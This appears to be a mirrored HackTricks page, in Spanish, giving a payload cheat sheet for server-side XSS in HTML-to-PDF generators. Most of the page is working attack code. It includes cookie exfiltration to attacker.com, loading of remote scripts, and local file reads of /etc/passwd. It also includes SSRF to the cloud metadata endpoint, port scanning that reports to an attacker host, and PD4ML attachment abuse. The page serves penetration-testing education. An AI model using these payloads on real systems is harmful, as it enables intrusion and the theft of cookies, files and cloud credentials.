mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
195 lines
9.9 KiB
Markdown
195 lines
9.9 KiB
Markdown
# Server Side XSS (PDF Dinámico)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Server Side XSS (PDF Dinámico)
|
|
|
|
Si una página web está creando un PDF utilizando entradas controladas por el usuario, puedes intentar **engañar al bot** que está creando el PDF para que **ejecute código JS arbitrario**.\
|
|
Así que, si el **bot creador de PDF encuentra** algún tipo de **etiquetas HTML**, va a **interpretarlas**, y puedes **abusar** de este comportamiento para provocar un **Server XSS**.
|
|
|
|
Por favor, ten en cuenta que las etiquetas `<script></script>` no siempre funcionan, por lo que necesitarás un método diferente para ejecutar JS (por ejemplo, abusando de `<img`).\
|
|
Además, ten en cuenta que en una explotación regular **podrás ver/descargar el pdf creado**, por lo que podrás ver todo lo que **escribas mediante JS** (usando `document.write()` por ejemplo). Pero, si **no puedes ver** el PDF creado, probablemente necesitarás **extraer la información haciendo solicitudes web a ti** (Ciego).
|
|
|
|
### Generación de PDF popular
|
|
|
|
* **wkhtmltopdf**: _Esta es una herramienta de línea de comandos de código abierto que utiliza el motor de renderizado WebKit para convertir HTML y CSS en documentos PDF._
|
|
* **TCPDF**_: Una biblioteca PHP para generar documentos PDF que soporta una amplia gama de características, incluyendo imágenes, gráficos y encriptación._
|
|
* **PDFKit :** _Una biblioteca de Node.js que se puede utilizar para generar documentos PDF a partir de HTML y CSS._
|
|
* **iText**: _Una biblioteca basada en Java para generar documentos PDF que soporta una gama de características, incluyendo firmas digitales y llenado de formularios._
|
|
* **FPDF**_: Una biblioteca PHP para generar documentos PDF que es ligera y fácil de usar._
|
|
|
|
## Cargas útiles
|
|
|
|
### Descubrimiento
|
|
```markup
|
|
<!-- Basic discovery, Write somthing-->
|
|
<img src="x" onerror="document.write('test')" />
|
|
<script>document.write(JSON.stringify(window.location))</script>
|
|
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
|
|
|
|
<!--Basic blind discovery, load a resource-->
|
|
<img src="http://attacker.com"/>
|
|
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
|
|
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
|
|
<link rel=attachment href="http://attacker.com">
|
|
```
|
|
### SVG
|
|
|
|
Cualquiera de los payloads anteriores o siguientes puede usarse dentro de este payload SVG. Se ponen como ejemplos un iframe accediendo al subdominio de Burpcollab y otro accediendo al endpoint de metadatos.
|
|
```markup
|
|
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
|
<g>
|
|
<foreignObject width="800" height="500">
|
|
<body xmlns="http://www.w3.org/1999/xhtml">
|
|
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
|
|
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
|
|
</body>
|
|
</foreignObject>
|
|
</g>
|
|
</svg>
|
|
|
|
|
|
<svg width="100%" height="100%" viewBox="0 0 100 100"
|
|
xmlns="http://www.w3.org/2000/svg">
|
|
<circle cx="50" cy="50" r="45" fill="green"
|
|
id="foo"/>
|
|
<script type="text/javascript">
|
|
// <![CDATA[
|
|
alert(1);
|
|
// ]]>
|
|
</script>
|
|
</svg>
|
|
```
|
|
Puede encontrar muchos **otros payloads SVG** en [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
|
|
|
### Divulgación de ruta
|
|
```markup
|
|
<!-- If the bot is accessing a file:// path, you will discover the internal path
|
|
if not, you will at least have wich path the bot is accessing -->
|
|
<img src="x" onerror="document.write(window.location)" />
|
|
<script> document.write(window.location) </script>
|
|
```
|
|
### Cargar un script externo
|
|
|
|
La mejor manera de explotar esta vulnerabilidad es abusar de ella para hacer que el bot cargue un script que controlas localmente. Luego, podrás cambiar el payload localmente y hacer que el bot lo cargue con el mismo código cada vez.
|
|
```markup
|
|
<script src="http://attacker.com/myscripts.js"></script>
|
|
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
|
```
|
|
### Leer archivo local / SSRF
|
|
|
|
{% hint style="warning" %}
|
|
Cambia `file:///etc/passwd` por `http://169.254.169.254/latest/user-data` para **intentar acceder a una página web externa (SSRF)**.
|
|
|
|
Si SSRF está permitido, pero **no puedes acceder** a un dominio o IP interesante, [consulta esta página para posibles bypasses](../ssrf-server-side-request-forgery/url-format-bypass.md).
|
|
{% endhint %}
|
|
```markup
|
|
<script>
|
|
x=new XMLHttpRequest;
|
|
x.onload=function(){document.write(btoa(this.responseText))};
|
|
x.open("GET","file:///etc/passwd");x.send();
|
|
</script>
|
|
```
|
|
|
|
```markup
|
|
<script>
|
|
xhzeem = new XMLHttpRequest();
|
|
xhzeem.onload = function(){document.write(this.responseText);}
|
|
xhzeem.onerror = function(){document.write('failed!')}
|
|
xhzeem.open("GET","file:///etc/passwd");
|
|
xhzeem.send();
|
|
</script>
|
|
```
|
|
|
|
```markup
|
|
<iframe src=file:///etc/passwd></iframe>
|
|
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
|
|
<link rel=attachment href="file:///root/secret.txt">
|
|
<object data="file:///etc/passwd">
|
|
<portal src="file:///etc/passwd" id=portal>
|
|
<embed src="file:///etc/passwd>" width="400" height="400">
|
|
<style><iframe src="file:///etc/passwd">
|
|
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
|
|
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
|
|
```
|
|
|
|
```markup
|
|
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
|
|
```
|
|
### Retraso del bot
|
|
```markup
|
|
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
|
|
<script>
|
|
let time = 500;
|
|
setInterval(()=>{
|
|
let img = document.createElement("img");
|
|
img.src = `https://attacker.com/ping?time=${time}ms`;
|
|
time += 500;
|
|
}, 500);
|
|
</script>
|
|
<img src="https://attacker.com/delay">
|
|
```
|
|
### Escaneo de Puertos
|
|
```markup
|
|
<!--Scan local port and receive a ping indicating which ones are found-->
|
|
<script>
|
|
const checkPort = (port) => {
|
|
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
|
|
let img = document.createElement("img");
|
|
img.src = `http://attacker.com/ping?port=${port}`;
|
|
});
|
|
}
|
|
|
|
for(let i=0; i<1000; i++) {
|
|
checkPort(i);
|
|
}
|
|
</script>
|
|
<img src="https://attacker.com/startingScan">
|
|
```
|
|
### [SSRF](../ssrf-server-side-request-forgery/)
|
|
|
|
Esta vulnerabilidad puede transformarse muy fácilmente en una SSRF (ya que puedes hacer que el script cargue recursos externos). Así que intenta explotarla (¿leer algunos metadatos?).
|
|
|
|
### Adjuntos: PD4ML
|
|
|
|
Hay algunos motores de HTML a PDF que permiten **especificar adjuntos para el PDF**, como **PD4ML**. Puedes abusar de esta característica para **adjuntar cualquier archivo local** al PDF.\
|
|
Para abrir el adjunto, abrí el archivo con **Firefox y hice doble clic en el símbolo del clip** para **almacenar el adjunto** como un nuevo archivo.\
|
|
Capturar la **respuesta del PDF** con burp también debería **mostrar el adjunto en texto claro** dentro del PDF.
|
|
|
|
{% code overflow="wrap" %}
|
|
```html
|
|
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
|
|
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>
|
|
```
|
|
## Referencias
|
|
|
|
* [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
|
|
* [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
|
|
* [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
|
|
* [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|